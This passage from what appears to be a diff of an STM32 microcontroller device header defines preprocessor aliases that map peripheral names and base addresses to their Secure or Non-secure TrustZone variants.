((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define SRAM6_BASE SRAM6_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_S +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define DCACHE2 DCACHE2_S +#define DCACHE2_BASE DCACHE2_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define GTZC_MPCBB6 GTZC_MPCBB6_S +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + +#define OTFDEC2 OTFDEC2_S +#define OTFDEC2_BASE OTFDEC2_BASE_S + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_S +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_S + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_S +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_S + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_S +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_S + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_S +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#define GFXMMU GFXMMU_S +#define GFXMMU_BASE GFXMMU_BASE_S +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_S +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_S +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_S +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_S +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_S + +#define GPU2D GPU2D_BASE_S + +#define LTDC LTDC_S +#define LTDC_BASE LTDC_BASE_S + +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_S +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_S + + +#define REFBIAS REFBIAS_S +#define REFBIAS_BASE REFBIAS_BASE_S + +#define DPHY DPHY_S +#define DPHY_BASE DPHY_BASE_S + +#define JPEG JPEG_S +#define JPEG_BASE JPEG_BASE_S + +#define GFXTIM GFXTIM_S +#define GFXTIM_BASE GFXTIM_BASE_S +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define SRAM6_BASE SRAM6_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_NS +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define DCACHE2 DCACHE2_NS +#define DCACHE2_BASE DCACHE2_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define GTZC_MPCBB6 GTZC_MPCBB6_NS +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define 